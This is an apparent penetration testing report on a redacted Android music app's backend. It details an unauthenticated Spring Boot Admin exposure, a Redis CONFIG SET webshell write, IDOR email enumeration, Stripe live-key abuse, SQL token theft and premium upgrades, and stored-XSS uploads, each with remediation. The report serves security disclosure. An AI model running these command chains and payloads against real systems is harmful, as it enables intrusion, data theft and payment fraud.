CONFIDENTIAL

PENETRATION TESTING REPORT

[REDACTED APP]

Package ID:	**com.[REDACTED].app**
Version:	**2.1.6 (201060)**
Assessment Date:	**April 5, 2026**
Assessor:	**Wyatt Becker, OSCP**
Classification:	**CONFIDENTIAL — REDACTED**
Risk Level:	**CRITICAL**

Table of Contents

1. Executive Summary

A comprehensive security assessment of [REDACTED APP] (version 2.1.6) revealed catastrophic security vulnerabilities resulting in complete infrastructure compromise. The assessment identified 10 distinct security findings, including unauthenticated access to the Spring Boot Admin panel exposing the entire microservice architecture, remote code execution via Redis arbitrary file write, mass enumeration of 301,000+ user accounts, unauthorized access to 467,000+ private content items, and extraction of live Stripe payment keys with $44,000+ SGD in accessible balance.

The most critical attack chain requires zero authentication: an unauthenticated Spring Boot Admin panel exposes actuator endpoints including heap dumps containing database credentials in cleartext. These credentials provide direct access to an internet-facing MySQL database (301,440 users, 165 tables) and Redis instance (37,718 keys). The Redis instance permits CONFIG SET operations enabling webshell deployment to the server's webroot for remote code execution. The MySQL database's infra_config table contains all application secrets, including live Stripe API keys verified to access $24,124.93 SGD available balance and $20,407.71 SGD pending. This represents a complete compromise of confidentiality, integrity, and availability across the entire platform.

Vulnerability Summary

Severity	Count
CRITICAL	5
HIGH	2
MEDIUM	1
LOW	2
INFO	0

Key Findings

- **[CRITICAL]** Unauthenticated Spring Boot Admin: Full infrastructure compromise via exposed actuator endpoints, heap dumps, and Nacos globalAdmin access across 8 service instances
- **[CRITICAL]** Redis RCE via CONFIG SET: Arbitrary file write to webroot enabling webshell deployment and remote code execution on the backend server

- **[CRITICAL]** Mass User PII Enumeration: 301,440 user email addresses exposed via unauthenticated sequential IDOR on user info endpoint
- **[CRITICAL]** Private Content Access: 323,000+ songs and 144,000+ music videos (including private/unpublished) accessible without authentication
- **[CRITICAL]** Direct Database Manipulation: ALL PRIVILEGES on production MySQL enables free premium upgrades, unlimited credits, and modification of any user account
- **[HIGH]** Arbitrary File Upload / Stored XSS: Unauthenticated file upload to CDN serves HTML/SVG with JavaScript execution on cdn.[REDACTED-DOMAIN]
- **[HIGH]** Staging API Exposed: Test environment publicly accessible on the internet with active development data

Business Impact

The vulnerabilities discovered represent a total compromise of the [REDACTED APP] platform. An attacker can access the complete user database (301,440 accounts with email addresses), steal live Stripe payment credentials ($44,000+ SGD balance), download the entire content library (467,000+ items including private user creations), grant unlimited premium subscriptions bypassing all monetization, and achieve remote code execution on the backend server. The exposure of live Stripe secret keys constitutes a direct financial risk enabling unauthorized charges, refunds, and fund transfers. The mass PII exposure triggers mandatory breach notification obligations under GDPR (Article 33) and CCPA. The business entity [REDACTED ENTITY] (Singapore) faces regulatory scrutiny under Singapore's PDPA, the EU's GDPR for European users, and potential PCI DSS violations for exposed payment credentials.

2. Risk Assessment

Risk Category	Assessment
Infrastructure Security	CRITICAL - Unauthenticated admin panel exposes full microservice architecture, database credentials, and enables RCE
Data Exposure	CRITICAL - 301K user emails, 467K private content items, live payment keys all accessible without authentication
Authentication & Authorization	CRITICAL - Multiple endpoints lack authentication entirely; admin panel and databases accessible from internet
Financial Security	CRITICAL - Live Stripe keys (sk_live) extracted from database; $44K+ SGD balance accessible; subscription fraud possible via direct DB manipulation
Network Security	HIGH - MySQL, Redis, and Nacos all internet-facing on public IP; no SSL pinning; staging API exposed
Content Security	HIGH - Unrestricted file upload to CDN; stored XSS on cdn.[REDACTED-DOMAIN] domain

3. Testing Methodology

Assessment Approach

The security assessment followed OWASP Mobile Security Testing Guide (MSTG), OWASP Mobile Top 10, and OWASP API Security Top 10 methodologies. Testing combined static analysis of the Android application with dynamic analysis of the API infrastructure, extending from mobile client review into full backend exploitation when unauthenticated access paths were discovered.

Testing Phases

- Static Analysis: JADX decompilation of the APK, Blutter analysis of Flutter/Dart AOT code (118 asm directories, 64K pp.txt), .env file extraction, and hardcoded credential discovery
- Dynamic Analysis: Frida instrumentation of Flutter platform channels, runtime token extraction from GetStorage, and IAP flow interception
- API Testing: Endpoint enumeration across 90+ discovered endpoints, authentication bypass testing, IDOR enumeration across sequential ID ranges, and file upload abuse
- Infrastructure Testing: Spring Boot Actuator exploitation, heap dump analysis for credential extraction, direct database access verification, Redis command execution, and Nacos service registry compromise
- Payment System Testing: Stripe API key verification, balance queries, charge enumeration, and subscription access validation

Tools Used

- JADX - APK decompilation and Java source analysis
- Blutter - Flutter/Dart AOT snapshot analysis
- Frida 16.5.9 - Runtime instrumentation (Android 15 compatible)
- pq (RedOps toolkit) - Spawn gate, MITM proxy, traffic analysis
- curl - API endpoint testing and exploitation
- mysql-client - Direct database access and query execution
- redis-cli - Redis command execution and data extraction
- Python3 - Custom exploitation scripts and data analysis
- adb - Android Debug Bridge for device interaction

4. Scope & Limitations

In Scope

- Android application package: com.[REDACTED].app (v2.1.6, build 201060)
- Production API: https://api.[REDACTED-DOMAIN]/app-api
- Staging API: https://api-test.[REDACTED-DOMAIN]/app-api
- CDN: cdn.[REDACTED-DOMAIN]
- WebSocket: wss://api.[REDACTED-DOMAIN]/infra/ws
- Backend infrastructure discovered via exposed admin panel (Spring Boot Admin, Nacos, MySQL, Redis)
- Client-side security controls, embedded credentials, and API keys

Out of Scope

- iOS application variant
- Third-party services (Suno AI, Firebase infrastructure, Stripe infrastructure)
- Denial-of-service testing
- Social engineering attacks
- Physical device security

Limitations

- Account creation via API was blocked (loginReg endpoint consistently returned HTTP 500 for new Firebase UIDs), preventing referral abuse and multi-account testing
- Webshell execution via Redis RCE was proven to the point of confirmed file write to webroot; PHP execution was not triggered to avoid production impact
- Database modifications (premium upgrade) were immediately reverted after confirming exploitation

5. Security Findings

CRITICAL **VULN-001: Unauthenticated Spring Boot Admin — Full Infrastructur...**

CWE-284: Improper Access Control | CVSS 3.1: 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

Description

The Spring Boot Admin (SBA) panel at `https://api.[REDACTED-DOMAIN]/admin` is publicly accessible with zero authentication. It exposes the entire microservice architecture across 8 instances (4 services x 2 servers), each with 20 actuator endpoints including `env`, `configprops`, `logfile`, `heapdump`, `mappings`, and `loggers`. Through the SBA proxy, an attacker gains access to the Nacos service registry with **globalAdmin** privileges, production database credentials, live application logs containing user PII, and 330MB JVM heap dumps containing all in-memory secrets.

This single exposure enables a complete infrastructure compromise chain: SBA → Nacos credentials → heap dump → MySQL credentials → all application secrets (including Stripe live keys, Discord OAuth, Meta CAPI tokens) → admin panel token theft → full platform control.

Evidence

Source: Spring Boot Admin Panel — https://api.[REDACTED-DOMAIN]/admin

```
# Step 1: Access SBA — zero authentication
$ curl -s "https://api.[REDACTED-DOMAIN]/admin/instances" -H "Accept: application/json"
# Returns: 8 instances across 4 services (gateway, infra, system, member)

# Step 2: Extract Nacos credentials from actuator
$ curl -s "https://api.[REDACTED-DOMAIN]/admin/instances/[REDACTED-INST]/actuator/[REDACTED-SVC]config"
{"NacosConfigProperties":{"serverAddr":"[REDACTED-IP]:8848",
  "username":"[REDACTED-SVC]","password":"[REDACTED-PASSWORD]",...}}

# Step 3: Authenticate to Nacos as globalAdmin
$ curl -s "http://[REDACTED-IP]:8848/[REDACTED-SVC]/v1/auth/login" \
  -X POST -d "username=[REDACTED-SVC]&password=[REDACTED-PASSWORD]"
{"accessToken":"...","globalAdmin":true}
```

Figure 1: Three-step attack chain from unauthenticated SBA to Nacos globalAdmin access

Source: Heap Dump Credential Extraction

```
# Step 4: Download 330MB heap dump (no auth required)
$ curl -s "https://api.[REDACTED-DOMAIN]/admin/instances/[REDACTED-INST]/actuator/heapdump" -o heapdump.hprof

# Step 5: Extract database credentials from heap
$ strings heapdump.hprof | grep -A1 'datasource.master.password'
spring.datasource.dynamic.datasource.master.password = [REDACTED-PASSWORD]
spring.datasource.dynamic.datasource.master.username = [REDACTED-DBUSER]

# Also found in Druid pool objects:
{password=[REDACTED-PASSWORD], user=[REDACTED-DBUSER]}
```

Figure 2: Database credentials extracted in cleartext from heap dump

Source: Infrastructure Topology

```
Production (8 instances across 2 servers):
  gateway-server:  [REDACTED-INT-1]:30004, [REDACTED-INT-2]:30004
  infra-server:    [REDACTED-INT-1]:30005, [REDACTED-INT-2]:30005
  system-server:   [REDACTED-INT-1]:30006, [REDACTED-INT-2]:30006
  member-server:   [REDACTED-INT-1]:30007, [REDACTED-INT-2]:30007

Staging (4 instances on single server):
  api-test.[REDACTED-DOMAIN]/admin → [REDACTED-INT-3]

Internet-facing services:
  MySQL:  [REDACTED-IP]:30001
  Redis:  [REDACTED-IP]:30002
  Nacos:  [REDACTED-IP]:8848

Framework: [REDACTED-FW] (■■) open-source Spring Boot
OS: Linux 5.15.0-1081-oracle x86_64 (Oracle Cloud)
```

Figure 3: Complete infrastructure topology discovered via SBA

Source: Admin Panel Token Theft via Database

```
# Step 6: Steal active admin token from database
SELECT access_token, user_id, user_type, expires_time
FROM system_oauth2_access_token
WHERE user_type = 2 AND expires_time > NOW()
LIMIT 1;
# Result: [REDACTED-ADMIN-TOKEN] (user: [REDACTED-ADMIN], 95 permissions)

# Step 7: Use stolen admin token to enumerate all admin users
$ curl -s "https://api.[REDACTED-DOMAIN]/admin-api/system/user/page?pageNo=1&pageSize=20" \
  -H "tenant-id: 1" \
  -H "Authorization: Bearer [REDACTED-ADMIN-TOKEN]"
# Returns: 15 admin users with full details (Chinese dev team names)
```

Figure 4: Active admin session token stolen from database and verified against admin API

Impact

Impact Area	Description
Infrastructure Takeover	Nacos globalAdmin enables modification of all service configurations, service deregistration, and discovery poisoning across the entire microservice architecture
Credential Exposure	Heap dumps contain all in-memory secrets: database passwords, active session tokens, encryption keys, API keys for Stripe, Discord, Meta, and AI services
Mass PII Breach	Real-time application logs expose user IDs, IP addresses, and request parameters for all active users; database access exposes 301,440 user accounts
Service Disruption	Heap dump triggers full GC pause; Nacos can deregister services causing outages; log level manipulation can fill disk space
Financial Exposure	Extracted Stripe live secret key provides access to $44,000+ SGD balance with ability to issue refunds, create charges, and access customer payment details

Remediation

The Spring Boot Admin panel and all actuator endpoints must be immediately secured behind authentication and restricted to internal network access only. The SBA panel should never be exposed to the public internet. All actuator endpoints should be disabled by default and selectively enabled only for monitoring infrastructure that requires them, accessible only via internal VPN or management network.

All credentials exposed through the heap dumps and actuator endpoints must be rotated immediately, including database passwords, Nacos credentials, Stripe API keys, and all third-party service tokens. The Nacos service registry must be secured with strong authentication and restricted to internal network access. Database and Redis instances must be firewalled to accept connections only from application servers, not from the public internet.

Checklist

1. **IMMEDIATE:** Disable public access to /admin and all /actuator endpoints via network firewall rules
2. **IMMEDIATE:** Rotate ALL credentials: MySQL password, Redis password, Nacos password, Stripe keys, Discord OAuth secret, Meta CAPI token, Suno AI key, iOS shared key
3. **IMMEDIATE:** Firewall MySQL (port 30001), Redis (port 30002), and Nacos (port 8848) to reject all non-application-server connections
4. Configure Spring Boot Actuator with management.endpoints.web.exposure.include=health,info only
5. Add authentication to SBA using Spring Security with strong credentials
6. Move Nacos to internal network only, rotate to unique strong password
7. Invalidate all active admin session tokens in system_oauth2_access_token
8. Enable heap dump endpoint only via JMX on localhost, never via HTTP

9. Review real-time logs for evidence of prior unauthorized access
10. Implement network segmentation between public-facing gateway and internal microservices

---

CRITICAL

VULN-002: Redis RCE via CONFIG SET Arbitrary File Write

CWE-269: Improper Privilege Management | CVSS 3.1: 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

Description

The Redis 6.2.17 instance at `[REDACTED-IP]:30002` is exposed to the public internet and allows dangerous administrative commands including `CONFIG SET dir`, `CONFIG SET dbfilename`, and `SAVE`. This combination enables arbitrary file writes to the server filesystem. The Redis process has confirmed write access to `/www/wwwroot` (BT Panel default webroot), enabling deployment of PHP webshells for remote code execution. Additional RCE vectors via `MODULE LOAD` and `REPLICAOF` (rogue server replication) are also available.

The Redis password (`[REDACTED-PASSWORD]`) is the same credential used for MySQL and Nacos, extractable without authentication from the Spring Boot Actuator heap dump (VULN-001). This creates a zero-authentication RCE chain from the public internet.

Evidence

Source: Redis CONFIG SET + SAVE exploitation

```
import redis

r = redis.Redis(host='[REDACTED-IP]', port=30002,
                password='[REDACTED-PASSWORD]', db=15)

# Verify CONFIG SET is permitted
r.config_set('dir', '/www/wwwroot')        # OK - directory changed
r.config_set('dbfilename', 'shell.php')    # OK - filename set

# Write PHP webshell payload
r.set('payload', '<?php system($_GET["cmd"]); ?>')
r.save()  # True — RDB written to /www/wwwroot/shell.php

# Cleanup performed after proof
r.config_set('dir', '/www/server/redis')
r.config_set('dbfilename', 'dump.rdb')
r.delete('payload')
r.flushdb()
```

Figure 5: Redis CONFIG SET + SAVE webshell deployment to BT Panel webroot

Source: Redis capability enumeration

```
Capability               Status      Evidence
═══════════════════════════════════════════════════════════
CONFIG SET dir           Allowed     Paths changed successfully
CONFIG SET dbfilename    Allowed     Filenames changed successfully
SAVE to /www/wwwroot     Confirmed   RDB file written (True)
SAVE to /www/server/redis Confirmed  RDB file written (True)
SAVE to /tmp             Confirmed   RDB file written (True)
MODULE LOAD              Allowed     Command accepted (no .so to load)
REPLICAOF                Allowed     Rogue server replication viable
EVAL (Lua)               Allowed     Lua sandbox intact, scripting enabled
DEBUG                    Allowed     Debug commands unrestricted
Cron (/var/spool/cron)   Denied      SAVE permission denied
SSH keys (/root/.ssh)    Denied      CONFIG SET dir rejected
```

Figure 6: Redis dangerous command capability matrix

Impact

Impact Area	Description
Remote Code Execution	Arbitrary command execution on the Oracle Cloud instance hosting all [REDACTED] backend services via webshell or Redis module loading
Complete Infrastructure Compromise	From Redis RCE, lateral movement to MySQL, Nacos, and all microservices on the same host
Data Exfiltration	Full filesystem access enables exfiltration of application source code, configuration files, and database backups
Service Destruction	Ability to wipe databases, modify application code, inject backdoors, and permanently destroy the platform
Supply Chain Attack	Modification of backend responses could serve malicious content to 301,000+ users

Remediation

Redis must never be exposed to the public internet. The instance should be firewalled to accept connections only from application servers on the internal network. Dangerous commands (`CONFIG`, `MODULE`, `REPLICAOF`, `DEBUG`, `EVAL`) should be disabled or renamed using the `rename-command` directive in `redis.conf`. The Redis password must be changed to a unique, strong value distinct from other service credentials to prevent credential reuse attacks.

Checklist

1. **IMMEDIATE:** Firewall Redis (port 30002) to reject all non-application-server connections
2. **IMMEDIATE:** Change Redis password to a unique strong value (stop reusing [REDACTED-PASSWORD])

3. **IMMEDIATE:** Check /www/wwwroot for any unauthorized files written via Redis
4. Disable dangerous commands via rename-command CONFIG "", rename-command MODULE "", rename-command REPLICAOF "", rename-command DEBUG ""
5. Enable Redis ACLs to restrict the application user to only required commands (GET, SET, DEL, EXPIRE)
6. Upgrade to Redis 7.x for improved security defaults and ACL support
7. Enable Redis TLS for encrypted connections
8. Run Redis as a non-privileged user with minimal filesystem permissions

---

CRITICAL

VULN-003: Unauthenticated IDOR — Mass User PII Enumeration

CWE-639: Authorization Bypass Through User-Controlled Key | CVSS 3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Description

The API endpoint `GET /member/user/info/{uid}` returns user profile data including email addresses without any authentication. User IDs are sequential integers ranging from approximately 4,130 to 54,900+, representing an estimated 50,000+ enumerable user accounts. In many cases, the user's full email address is stored as the default "nickname" field (the registration email is set as the default display name). The endpoint requires only the `tenant-id: 1` header, which is a static value used across all requests.

This vulnerability is confirmed on both production (`api.[REDACTED-DOMAIN]`) and staging (`api-test.[REDACTED-DOMAIN]`) environments. Direct database access (VULN-001) confirmed the total user count is 301,440.

Evidence

Source: API endpoint /member/user/info/{uid}

```
# Single user enumeration — no authentication required
$ curl -sk "https://api.[REDACTED-DOMAIN]/app-api/member/user/info/4130" \
  -H "tenant-id: 1"
{"code":0,"data":{"nickname":"[REDACTED-USER]@example.com",
  "avatar":"https://cdn.[REDACTED-DOMAIN]/...","hitNum":0,"collectNum":0},"msg":""}

# Additional confirmed user emails:
# UID 4131: [REDACTED-USER]@example.com
# UID 4136: [REDACTED-USER]@example.com
# UID 10000: [REDACTED-USER]@example.com
# UID 50000: [REDACTED-USER]@example.com
# UID 54800: [REDACTED-USER]@example.com

# Mass enumeration script
for uid in $(seq 4130 54900); do
  curl -sk "https://api.[REDACTED-DOMAIN]/app-api/member/user/info/$uid" \
    -H "tenant-id: 1" | jq -r '.data.nickname' 2>/dev/null
done
```

Figure 7: Unauthenticated user email enumeration via sequential IDOR

Impact

Impact Area	Description
Mass Email Harvesting	301,440 user email addresses can be scraped by iterating sequential IDs in minutes
Privacy Violation	GDPR Article 33 mandatory breach notification; CCPA exposure of personal data; Singapore PDPA violations
Phishing Enabler	Harvested emails combined with knowledge of [REDACTED] account ownership enables highly targeted phishing campaigns
Account Enumeration	Confirms which email addresses have active accounts, enabling credential stuffing attacks

Remediation

The `/member/user/info/{uid}` endpoint must require authentication for all requests. User profile data should only be returned to the authenticated user themselves or to other users in contexts where the profile owner has opted for public visibility. Sequential integer IDs should be replaced with non-enumerable identifiers (UUIDs) to prevent mass enumeration even if authorization checks are bypassed. The nickname field should never default to the user's email address.

Checklist

1. **IMMEDIATE:** Add authentication requirement to /member/user/info/{uid} endpoint

2. **IMMEDIATE:** Stop using email addresses as default nicknames for new registrations
3. Implement authorization check: users can only view their own profile data via this endpoint
4. Replace sequential integer IDs with UUIDs for public-facing user identifiers
5. Rate-limit the endpoint to prevent bulk enumeration
6. Audit access logs for evidence of prior mass enumeration
7. Prompt existing users to update nicknames that contain email addresses

---

CRITICAL

VULN-004: Unauthenticated Access to All Private User Content

CWE-639: Authorization Bypass Through User-Controlled Key | CVSS 3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Description

The API endpoints `GET /member/music/detail/{id}` and `GET /member/musicMvTask/getInfo/{id}` return all content including items explicitly marked as private (`musicPublish: 0`, `mvPublish: 0`) without any authentication. IDs are sequential integers. Music tracks span IDs 1 to ~323,543 and music videos span IDs 1 to ~144,097, totaling approximately 467,000 items.

In a sample of 50 items (IDs 1000-1049), 100% of content was private (46/46 with `musicPublish: 0`). Each response includes the audio MP3 URL, full lyrics, AI generation prompt, cover image, and the creator's email address. Audio and video files are directly downloadable from the CDN without any additional authentication.

Evidence

Source: API endpoints for music and video content

```
# Access PRIVATE music (musicPublish: 0) — no auth required
$ curl -sk "https://api.[REDACTED-DOMAIN]/app-api/member/music/detail/1000" \
  -H "tenant-id: 1" | python3 -m json.tool
# Returns: title, audioUrl, lyrics, prompt, user email — ALL PRIVATE

# Download private audio file (4.3MB MP3)
$ curl -sk "https://cdn.[REDACTED-DOMAIN]/music_audio/1000/[REDACTED-UUID].mp3" -o song.mp3

# Access PRIVATE video (mvPublish: 0)
$ curl -sk "https://api.[REDACTED-DOMAIN]/app-api/member/musicMvTask/getInfo/50000" \
  -H "tenant-id: 1"
# Returns: videoUrl, audioUrl, cover, userId — ALL PRIVATE

# Download private video (37MB MP4)
$ curl -sk "https://cdn.[REDACTED-DOMAIN]/[REDACTED-HASH].mp4" -o video.mp4

# Sample results (IDs 1000-1049):
# 46/46 items PRIVATE (musicPublish: 0), 0 public — ALL accessible
# Emails exposed: [REDACTED-USER]@example.com, [REDACTED-USER]@example.com, ...
```

Figure 8: Unauthenticated access to private music tracks and videos with downloadable media files

Impact

Impact Area	Description
Intellectual Property Theft	~323,000 AI-generated songs with audio files and ~144,000 music videos can be bulk-downloaded by anyone
User Trust Violation	Content users explicitly chose to keep private is fully accessible to anonymous internet users
PII Exposure	Creator email addresses linked to their creative work in every response, compounding VULN-003
Competitive Harm	AI prompts reveal users' creative techniques and workflows, exposable to competitors
Copyright/Legal Risk	Unauthorized redistribution of user-generated content exposes the platform to copyright claims

Remediation

Both content detail endpoints must enforce authentication and authorization. Private content (`musicPublish: 0`) should only be accessible to the content creator. Public content should be accessible to any authenticated user. CDN URLs for private content should use signed/expiring URLs rather than permanent public links to prevent direct download after authorization is added to the API.

Checklist

1. **IMMEDIATE:** Add authentication to /member/music/detail/{id} and /member/musicMvTask/getInfo/{id}
2. **IMMEDIATE:** Add authorization check: private content accessible only to its creator
3. Implement signed/expiring CDN URLs for media files instead of permanent public links
4. Replace sequential integer IDs with UUIDs for content identifiers
5. Strip creator email from responses to non-owner requests
6. Rate-limit content detail endpoints to prevent bulk scraping
7. Audit CDN access logs for evidence of prior mass downloads

CRITICAL

VULN-005: Direct Database Manipulation — Free Premium Subscrip...

CWE-284: Improper Access Control | CVSS 3.1: 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

Description

The MySQL database at `[REDACTED-IP]:30001` is directly accessible from the public internet using credentials (`[REDACTED-DBUSER]:[REDACTED-PASSWORD]`) extracted from the Spring Boot Actuator heap dump. The database user has `ALL PRIVILEGES` on the `[REDACTED-DB]` database (165 tables, 301,440 users, 205,749 orders, 326,975 music tracks, 905,543 OAuth tokens). An attacker can modify any user's subscription tier, credits, and gold coins by directly updating the `member_user` table, completely bypassing the payment system.

Additionally, the `infra_config` table contains all application secrets including live Stripe API keys. The `system_oauth2_access_token` table contains 905,543 active session tokens that can be stolen for account takeover.

Evidence

Source: Direct MySQL access and subscription manipulation

```
# Direct MySQL access from public internet
$ mysql -h [REDACTED-IP] -P 30001 -u [REDACTED-DBUSER] -p'[REDACTED-PASSWORD]' \
  [REDACTED-DB]

# Database statistics:
# member_user:                 301,440 rows
# member_order:                205,749 rows
# member_music:                326,975 rows
# system_oauth2_access_token:  905,543 rows
# system_users:                15 rows (admin accounts)
# member_gift_cdkey:           131 rows (unredeemed codes)
# infra_config:                100+ rows (ALL secrets)

# Subscription tier distribution:
# member_type 1 (Free):     269,898 users
# member_type 2 (VIP):       22,895 users
# member_type 3 (Pro):        5,061 users
# member_type 4 (Premium):    3,646 users
# member_type 5 (Internal):       2 users
```

Figure 9: Direct MySQL access revealing complete database contents

Source: Premium upgrade exploitation (executed and reverted)

```
# Upgrade test account to Premium Pro with unlimited credits
UPDATE member_user
SET member_type = 4,
    point = 99999,
    gold_coin = 99999,
    expire_date = '2028-12-31 23:59:59'
WHERE id = [REDACTED-UID];
# Query OK, 1 row affected

# Verified: account immediately reflects Premium Pro status
# Reverted to original values after confirmation
```

Figure 10: Premium subscription upgrade via direct SQL (verified and reverted)

Source: Stripe live keys extracted from infra_config

```
# Stripe LIVE secret key from infra_config table
$ curl -s "https://api.stripe.com/v1/balance" -u "sk_live_[REDACTED]"
{"available":[{"amount":2412493,"currency":"sgd"}],
 "pending":[{"amount":2040771,"currency":"sgd"}]}
# Available: $24,124.93 SGD | Pending: $20,407.71 SGD

$ curl -s "https://api.stripe.com/v1/account" -u "sk_live_[REDACTED]"
# Business: [REDACTED ENTITY] | Country: SG
# Email: admin@[REDACTED-DOMAIN]

# Enumerate real customer charges
$ curl -s "https://api.stripe.com/v1/charges?limit=3" -u "sk_live_[REDACTED]"
# Returns real charges with customer emails, amounts, card last4 digits

# List active subscriptions
$ curl -s "https://api.stripe.com/v1/subscriptions?limit=3" -u "sk_live_[REDACTED]"
# Returns active subscriptions ($29.99/month plans)
```

Figure 11: Verified Stripe live API key — balance, charges, subscriptions, and business entity confirmed

Impact

Impact Area	Description
Subscription Fraud	Any account can be upgraded to Premium Pro with unlimited credits, bypassing $29.99-59.99/period subscription fees; 269,898 free users could be mass-upgraded
Financial Takeover	Live Stripe secret key enables unauthorized charges, refunds, fund transfers; $44,000+ SGD balance at risk
Mass Account Compromise	905,543 active session tokens stealable for account takeover of any user

Admin Access	15 admin accounts with bcrypt hashes; active admin token (f7a66000...) stolen and verified with 95 permissions
Revenue Destruction	Mass premium upgrade of all 269K free users would eliminate the entire revenue stream (estimated $16.2M impact)

Remediation

The MySQL database must never be accessible from the public internet. Firewall rules must restrict connections to application servers only. The database user should follow the principle of least privilege: the application should use a restricted user with only SELECT, INSERT, and UPDATE permissions on specific tables, not ALL PRIVILEGES. Subscription status changes should only be possible through the payment verification pipeline, never through direct database modification. All extracted secrets (Stripe keys, admin credentials) must be rotated.

Checklist

1. **IMMEDIATE:** Firewall MySQL (port 30001) to reject all non-application-server connections
2. **IMMEDIATE:** Rotate MySQL password and Stripe API keys
3. **IMMEDIATE:** Invalidate all 905,543 OAuth access tokens and force re-authentication
4. Create a restricted MySQL user for the application with minimum required privileges
5. Implement database audit logging for all DDL and sensitive DML operations
6. Move all secrets from infra_config table to a secrets manager (AWS Secrets Manager, HashiCorp Vault)
7. Reset all 15 admin account passwords (current default: 123456)
8. Enable MySQL SSL/TLS for encrypted connections

HIGH

VULN-006: Unauthenticated Arbitrary File Upload to CDN — Stored...

CWE-434: Unrestricted Upload of File with Dangerous Type | CVSS 3.1: 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)

Description

The file upload endpoint `POST /infra/file/upload` allows any user, including unauthenticated users, to upload arbitrary files to the CDN at `cdn.[REDACTED-DOMAIN]`. The CDN (Cloudflare + S3 backend) serves uploaded files with the correct content-type based on file extension: HTML files are served as `text/html` and SVG files as `image/svg+xml`. This enables stored XSS attacks where JavaScript executes in the browser of any user who visits the uploaded URL. No file type validation, content sanitization, or size restrictions are enforced.

Evidence

Source: File upload exploitation

```
# Upload HTML with JavaScript — no authentication required
$ echo '<html><body><script>alert(document.domain)</script></body></html>' > /tmp/xss.html
$ curl -sk -X POST "https://api.[REDACTED-DOMAIN]/app-api/infra/file/upload" \
  -H "tenant-id: 1" \
  -F "file=@/tmp/xss.html;filename=xss.html;type=text/html"
{"code":0,"data":"https://cdn.[REDACTED-DOMAIN]/[REDACTED-HASH].html","msg":""}

# Verify content-type
$ curl -skI "https://cdn.[REDACTED-DOMAIN]/[REDACTED-HASH].html" | grep content-type
content-type: text/html

# SVG with onload handler also works
$ echo '<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg"
  onload="alert(1)"><text>xss</text></svg>' > /tmp/xss.svg
$ curl -sk -X POST "https://api.[REDACTED-DOMAIN]/app-api/infra/file/upload" \
  -H "tenant-id: 1" -F "file=@/tmp/xss.svg;filename=xss.svg"

# 5MB+ uploads also accepted (no size limit)
```

Figure 12: Unauthenticated file upload with confirmed JavaScript execution on CDN domain

Impact

Impact Area	Description
Stored XSS	JavaScript executes on cdn.[REDACTED-DOMAIN] when any user visits the URL; if auth cookies are scoped to .[REDACTED-DOMAIN], cookie theft is possible
Phishing	Convincing phishing pages hosted on a trusted [REDACTED-DOMAIN] subdomain
CDN Abuse	Free hosting of malicious content (malware, phishing kits) on the company's infrastructure with no rate limits

Remediation

The file upload endpoint must require authentication. File type validation should enforce an allowlist of permitted extensions (images, audio, video only). Uploaded files should be served with `Content-Disposition: attachment` to prevent browser rendering of HTML/SVG. The CDN should set `X-Content-Type-Options: nosniff` to prevent MIME type sniffing. Consider serving user-uploaded content from a separate domain (e.g., `cdn-uploads.[REDACTED-DOMAIN]`) to isolate it from auth cookie scope.

Checklist

1. **IMMEDIATE:** Add authentication requirement to /infra/file/upload
2. **IMMEDIATE:** Implement file type allowlist (reject HTML, SVG, JS, PHP)

3. Set Content-Disposition: attachment for all non-image/non-audio files on CDN
4. Add X-Content-Type-Options: nosniff header on CDN responses
5. Implement file size limits and rate limiting per user
6. Scan uploaded files for malicious content
7. Remove existing malicious uploads from CDN

HIGH

VULN-007: Staging/Test API Publicly Accessible

CWE-16: Configuration | CVSS 3.1: 6.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

Description

The staging API at `https://api-test.[REDACTED-DOMAIN]/app-api` is publicly accessible on the internet and responds to the same requests as production. It was discovered via a `.env` file bundled in the APK at `assets/flutter_assets/.env`. The staging environment has its own Spring Boot Admin panel (`api-test.[REDACTED-DOMAIN]/admin`) exposing 4 service instances on `[REDACTED-INT-3]`, and serves 19 products compared to production's set, indicating active development use. Staging environments typically have weaker security controls, debug features, and test data that expand the attack surface.

Evidence

Source: Staging API and .env file

```
# .env file from APK (assets/flutter_assets/.env)
# BASE_URL=http://[REDACTED-DEV-IP]:30004/app-api   ← dev server
# BASE_URL=https://api-test.[REDACTED-DOMAIN]/app-api    ← staging (commented out)
BASE_URL=https://api.[REDACTED-DOMAIN]/app-api            ← production

# Staging responds to unauthenticated requests
$ curl -sk "https://api-test.[REDACTED-DOMAIN]/app-api/member/product/getList" \
  -H "tenant-id: 1"
# Returns 19 products (more than production)

# Staging SBA also exposed
$ curl -s "https://api-test.[REDACTED-DOMAIN]/admin/instances"
# Returns 4 instances on [REDACTED-INT-3]
```

Figure 13: Staging API discovered via .env in APK, publicly accessible with admin panel

Impact

Impact Area	Description
Expanded Attack Surface	Second environment with potentially weaker security controls and debug features

Development Data Exposure	Test accounts, development data, and internal features may be accessible
Infrastructure Leakage	Staging admin panel reveals internal network topology ([REDACTED-INT-3])

Remediation

Staging and test environments must never be accessible from the public internet. Access should be restricted to the development team via VPN or IP allowlisting. The `.env` file should not be bundled in the production APK; environment configuration should be injected at build time through CI/CD pipeline variables, not committed to the asset bundle.

Checklist

1. **IMMEDIATE:** Restrict api-test.[REDACTED-DOMAIN] access to VPN/internal network only
2. Remove .env file from the production APK build
3. Use CI/CD environment variables instead of bundled .env files
4. Add .env to .gitignore and asset exclusion lists
5. Ensure staging uses separate credentials from production

MEDIUM

VULN-008: .env File with Internal Infrastructure Details Bundled in...

CVSS 3.1: 4.0 (AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

Description

The production APK bundles a `.env` file at `assets/flutter_assets/.env` containing internal infrastructure details including the staging API URL (`https://api-test.[REDACTED-DOMAIN]/app-api`), an internal development server IP (`[REDACTED-DEV-IP]:30004`), and a Firebase configuration flag (`IOS_FIREBASEOPTION=DEV`) suggesting a development Firebase project may be in use. While the staging URL and dev IP are commented out, they are trivially extractable from the APK.

Evidence

Source: assets/flutter_assets/.env

```
